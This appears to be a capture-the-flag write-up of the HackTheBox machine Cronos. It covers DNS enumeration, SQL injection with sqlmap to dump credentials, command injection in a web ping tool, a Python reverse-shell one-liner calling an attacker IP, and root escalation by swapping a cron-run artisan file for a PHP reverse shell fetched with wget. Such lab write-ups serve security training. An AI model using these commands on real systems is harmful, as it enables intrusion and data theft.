> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/linux/cronos.md).

# Cronos

https\://app.hackthebox.com/machines/11

## Nmap

```
sudo nmap 10.10.10.13 -p- -sS -sV 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

**Note:** Add `10.10.10.13 cronos.htb` to `/etc/hosts`. Also add 10.10.10.13 as an additional DNS server on the attacking system.

### DNS

To start we perform some basic enumeration on `DNS` against the target system. Using dnsenum we are able to enumerate the `admin.cronos.htb` sub domain which will be added to our hosts file.

```
dnsenum --dnsserver '10.10.10.13' --enum 'cronos.htb'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Ft9QtIO0Hlxk0fsxeoY7n%2Fimage.png?alt=media\&token=17a4e846-3a89-4f4f-b86a-7f71c60ace75)

### Cronos.htb

Checkout out the root page for `http://cronos.htb` we are taken to `/index.php`. I was unable to pull any further interesting pages or directories from this website.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fr1bhjWWRQUkJLlLWWnUt%2Fimage.png?alt=media\&token=44e9dd21-274e-4f76-9a98-b030df480fec)

`Feroxbuster` turning up very few results...

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F7NFG1OMK3geAiHBQ2P9o%2Fimage.png?alt=media\&token=7cca82c9-4413-419b-b25d-219e874ce88d)

### admin.cronos.htb

We know that the sub domain admin.cronos.htb exists and browse to it. We are presented with a logon page. Running ZAProxy in the background we are able to identify a `SQL` injection point on the login page as shown below.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FnMJP2q0T4Erni0BCrqeI%2Fimage.png?alt=media\&token=fbf7d3ba-ac0c-43b0-9145-258238aef6c8)

Details regarding the `SQL` injection point.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F3f4U2feHIDXhK7fKbbSb%2Fimage.png?alt=media\&token=48e9a324-d5a6-4880-aeaf-400ad1ca36d6)

### SQLmap

Using `SQLmap` we are able to pull relevant information.

```
sqlmap -u 'http://admin.cronos.htb/' --batch --forms --tables
```

After running the above command `SQLmap` identifies the database "admin". Using the command below we are able to dump discovered information from the "users" table.

```
sqlmap -u 'http://admin.cronos.htb/' --batch --forms -T users -D admin --dump 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FOyDmDujwq0uQth2ECS3z%2Fimage.png?alt=media\&token=7d124334-0946-4aad-b0c3-f87b0c36b42d)

I was unable to crack the hash using the rockyou.txt wordlist. However, searhing online we find a clear text password for the related MD5 hash.

### Hash lookup

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FWSffHfN1HIUejXGMPaxO%2Fimage.png?alt=media\&token=1fd7aedb-792c-48f2-ba61-b0387ec5cd2c)

### Net Tool v0.1

Using the credentials on the login page we are then presented with `Net Tool v0.1`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fii6iXk92Y0akUcoygBbf%2Fimage.png?alt=media\&token=1a2aedfa-edee-49b7-9bd9-ed0957239816)

Performing a `ping` request and capturing the POST request in `ZAProxy` we see where the command parameter is set.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FpvVkEo2dBvpNO3wdwIg3%2Fimage.png?alt=media\&token=bc693594-4ec5-4a26-bdce-2b9f3691fde6)

A quick check with `cat` on `/etc/passwd` shows we are able to alter what command the target system executes.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FS9y12xy8DLKW2lohR3xV%2Fimage.png?alt=media\&token=badd5e42-40d0-47ca-a887-466eb91da614)

Contents of `/etc/passwd`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FokFpCReJZmC0RKDEp5i9%2Fimage.png?alt=media\&token=18120bd2-52de-43f8-95bf-82f0b01e7de4)

### Shell as www-data

From here we will build a Python reverse shell and run it in ZAProxy to obtain a reverse shell.

```
export RHOST="10.10.14.6";export RPORT=80;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FBbAHU59d796UNn4Ps43B%2Fimage.png?alt=media\&token=6866ed4e-776c-467c-b504-9f2d6990e1de)

Which soon connects to our listener.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FncSJdHxOuZh6IeS54xpz%2Fimage.png?alt=media\&token=7e218104-c57f-44b1-a809-f9883a219a5d)

### User.txt

We can then grab the user flag from `/home/noulis/user.txt`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FqgZVpnXsMUdy2HLqGeVp%2Fimage.png?alt=media\&token=857fdefa-d37d-4931-878f-2b3cfb34b43a)

### Enumeration

Running `linpeas.sh` for enumeration we identify the cron job against Laravel artisan running every minute as the **root** user.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FVPcNjNp9O95nTnOtM0aU%2Fimage.png?alt=media\&token=fbe58343-6f49-45e5-bda1-6b69b92e7958)

Browsing to `/var/www/laravel` we see we have full permissions as www-data over the artisan file.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FqEqrV6ik3QUtYWb7LA1r%2Fimage.png?alt=media\&token=ed738ef3-e083-4d35-a1b9-117cf3451c22)

### Privilege Escalation

Given the full permissions we can create a `PHP` reverse shell on our attacking system. Name it artisan and transfer over to the target system. RevShells was utilized to create the PHP monkey reverse shell.

**RevShells:** <https://www.revshells.com/>

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F1m0TuhK1afDQZIIFWvCG%2Fimage.png?alt=media\&token=3e110854-4f00-447e-b561-027ceab8e87b)

Remove the current artisan file and upload the reverse shell file.

```
rm artisan
wget http://10.10.14.6:8000/artisan
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FYHqs0TDfhjRcizs3v9cD%2Fimage.png?alt=media\&token=106bd231-eedf-4831-ac45-4529df3dcea3)

### Shell as root

After the file has been uploaded. Start a `netcat` listener and wait a minute or two for it to trigger a reverse shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FhhSo6CBiaD41lLLyevwp%2Fimage.png?alt=media\&token=628dfa9b-b62a-400e-86e7-b9a84a662504)